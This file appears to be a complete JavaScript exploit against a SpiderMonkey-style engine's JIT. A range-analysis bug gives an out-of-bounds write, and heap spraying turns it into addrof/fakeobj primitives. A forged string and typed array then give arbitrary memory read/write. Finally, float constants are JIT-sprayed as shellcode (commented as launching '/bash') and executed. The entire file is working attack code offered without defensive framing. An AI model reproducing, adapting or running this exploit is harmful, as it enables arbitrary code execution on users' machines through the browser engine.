function opt(karr, arr) { let objectKeysLength = Object.keys(karr).length; // Expected: [0, 0x0fff_ffff]; Real: [0, 0x7fff_ffff]; Trigger: 0x1000_0000 let leftShift = objectKeysLength << 3; // Expected: [0, 0x7fff_fff8]; Real: [0x8000_0000, 7fff_fff8]; Trigger: 0x8000_0000 let lowerBound = leftShift >> 31; // Expected: [0, 0]; Real: [0xffff_ffff, 0]; Trigger: 0xffff_ffff (-1) lowerBound *= 2 ** 30; lowerBound *= 2; for (let i = 1; i >= lowerBound; i--) { if (i === 1 || i === lowerBound + 0x23dfffe || i === lowerBound + 0x23dffff) { arr[i] = (i === lowerBound + 0x23dfffe) ? -3.10503470400478748708402393647E231 : -3.10503471629489554592565359544E231; // flags, initializedLength, capacity, length // 0xEFFFFFFF00000000, 0xEFFFFFFF021FFFFE } } } let arr = []; for (let i = 0; i < 10000; i++) { arr[i] = i + 0.1; opt(arr, arr); } print("Preparing large array for Object.keys().length..."); for (let i = 0; i < (1 << 28); i++) { arr[i] = i + 0.1; } let sprayRefArr = []; const spray_count = 64; for (let i = 0; i < spray_count; i++) { print(`Heap spraying large array: ${i + 1} / ${spray_count}`); let tmpArr; if (i % 2 == 1) { tmpArr = new Array(0x2000000); tmpArr.fill(i + 0.1); } else { tmpArr = new BigUint64Array(0x2000000); tmpArr.fill(BigInt(i)); } sprayRefArr.push(tmpArr); } opt(arr, sprayRefArr[spray_count - 1]); let bigIntArray = sprayRefArr[0]; let objArr = sprayRefArr[1]; print(`objArr.length: 0x${objArr.length.toString(16)}`); if (objArr.length === 0x2000000) { throw new Error("Heap spray failed!"); } function addrof(obj) { objArr[0x403fffe] = obj; return bigIntArray[0]; } function fakeobj(addr) { bigIntArray[0] = addr; return objArr[0x403fffe]; } class Debug { utility_buffer = new ArrayBuffer(8); utility_buffer_float = new Float64Array(this.utility_buffer, 0, 1); utility_buffer_int = new BigUint64Array(this.utility_buffer, 0, 1); prototypeInit() { let that = this; BigInt.prototype.hex = function () { return '0x' + this.toString(16); }; BigInt.prototype.i2f = function () { // int to float that.utility_buffer_int[0] = this; return that.utility_buffer_float[0]; } BigInt.prototype.smi2f = function () { // smi to float that.utility_buffer_int[0] = this << 32n; return that.utility_buffer_float[0]; } Number.prototype.hex = function () { return BigInt(this).hex(); } Number.prototype.i2f = function () { // int to float return BigInt(this).i2f(); } Number.prototype.smi2f = function () { // smi to float return BigInt(this).smi2f(); } Number.prototype.f2i = function () { // float to int that.utility_buffer_float[0] = this; return that.utility_buffer_int[0]; } Number.prototype.f2smi = function () { // float to smi that.utility_buffer_float[0] = this; return that.utility_buffer_int[0] >> 32n; } Number.prototype.fhw = function () { // float high word (4 bytes) that.utility_buffer_float[0] = this; return that.utility_buffer_int[0] >> 32n; } Number.prototype.flw = function () { // float low word (4 bytes) that.utility_buffer_float[0] = this; return that.utility_buffer_int[0] & BigInt(2 ** 32 - 1); } Number.prototype.c2f = function (high, low) { // combined (two 4 bytes) word to float that.utility_buffer_int[0] = low; that.utility_buffer_int[1] = high; return that.utility_buffer_float[0]; } } constructor() { this.prototypeInit(); } } let debug = new Debug(); function unTagPtr(addr) { return addr & ((1n << 47n) - 1n); } function tagObjectPtr(addr) { return addr | ((0x1fff0n + 0xcn) << 47n); } function tagStringPtr(addr) { return addr | ((0x1fff0n + 0x6n) << 47n); } let fakeArenaCellSetContainer = new BigUint64Array(16); // js::gc::ArenaCellSet::Empty let fakeArenaCellSetContainerAddr = addrof(fakeArenaCellSetContainer); let fakeArenaCellSetAddr = unTagPtr(fakeArenaCellSetContainerAddr) + 0x38n; print(`fakeArenaCellSetAddr: 0x${fakeArenaCellSetAddr.toString(16)}`); let fakeJSExternalStringContainer = [ fakeArenaCellSetAddr.i2f(), 0b00000000000000000000000000000001_0000000000000000_0000001_100010_000n.i2f(), // js::gc::CellWithLengthAndFlags.header_: flags, length 0x1234n.i2f() // JSString.d.s.u2.nonInlineCharsLatin1 ]; let fakeJSExternalStringContainerAddr = addrof(fakeJSExternalStringContainer); print(`fakeJSExternalStringContainerAddr: 0x${fakeJSExternalStringContainerAddr.toString(16)}`); let fakeJSExternalStringAddr = tagStringPtr(unTagPtr(fakeJSExternalStringContainerAddr) + 0x30n); print(`fakeJSExternalStringAddr: 0x${fakeJSExternalStringAddr.toString(16)}`); let fakeStr = fakeobj(fakeJSExternalStringAddr); function unstable_read8(addr) { fakeJSExternalStringContainer[2] = addr.i2f(); return BigInt(fakeStr[0].charCodeAt(0)); } function unstable_read64(addr) { let result = 0n; for (let i = 7n; i >= 0n; i--) { result *= 0x100n; result += unstable_read8(addr + i); } return result; } let fakeBigUint64ArrayContainer = fakeArenaCellSetContainer; let fakeBigUint64ArrayContainerAddr = addrof(fakeBigUint64ArrayContainer); print(`fakeBigUint64ArrayContainerAddr: 0x${fakeBigUint64ArrayContainerAddr.toString(16)}`); for (let i = 0n; i < 4n; i++) { fakeBigUint64ArrayContainer[i] = unstable_read64(unTagPtr(fakeBigUint64ArrayContainerAddr) + i * 8n); } fakeBigUint64ArrayContainer[4] = 0x7fff_ffffn; fakeBigUint64ArrayContainer[5] = 0n; fakeBigUint64ArrayContainer[6] = 0x1234n; let fakeBigUint64ArrayAddr = unstable_read64(unTagPtr(fakeBigUint64ArrayContainerAddr) + 0x30n); print(`fakeBigUint64ArrayAddr: 0x${fakeBigUint64ArrayAddr.toString(16)}`); let fakeBigUint64Array = fakeobj(tagObjectPtr(fakeBigUint64ArrayAddr)); function read64(addr) { fakeBigUint64ArrayContainer[6] = addr; return fakeBigUint64Array[0]; } function write64(addr, value) { fakeBigUint64ArrayContainer[6] = addr; fakeBigUint64Array[0] = value; } fakeStr = undefined; function shellcode() { find_me = 5.40900888e-315; // 0x41414141 in memory A = -6.828527034422786e-229; // 0x9090909090909090 B = 1.0880924772192582856330718795E-306; // /bash // 8.568532312320605e+170; // /xcalc C = 1.4813365150669252e+248; D = -6.032447120847604e-264; E = -6.0391189260385385e-264; F = 1.0842822352493598e-25; G = 9.241363425014362e+44; H = 2.2104256869204514e+40; I = 2.4929675059396527e+40; J = 3.2459699498717e-310; K = 1.637926e-318; } print("Training shellcode function..."); for (let i = 0; i < 0x5000; i++) shellcode(); let shellcodeFunctionAddr = addrof(shellcode); print(`shellcodeFunctionAddr: 0x${shellcodeFunctionAddr.toString(16)}`); let JSJitInfoAddr = read64(unTagPtr(shellcodeFunctionAddr) + 0x28n); print(`JSJitInfoAddr: 0x${JSJitInfoAddr.toString(16)}`); let RXRegionAddr = read64(JSJitInfoAddr); print(`RXRegionAddr: 0x${RXRegionAddr.toString(16)}`); let findShellcodeFlag = false; for (let i = 0n; i < 0x200n; i++) { let data = read64(RXRegionAddr); if (data === 0x41414141n) { findShellcodeFlag = true; break; } RXRegionAddr += 8n; } if (!findShellcodeFlag) { throw new Error("Unable to find shellcode!"); } RXRegionAddr += 8n; print(`ShellcodeAddr: 0x${RXRegionAddr.toString(16)}`); write64(JSJitInfoAddr, RXRegionAddr); print("Triggering shellcode..."); shellcode();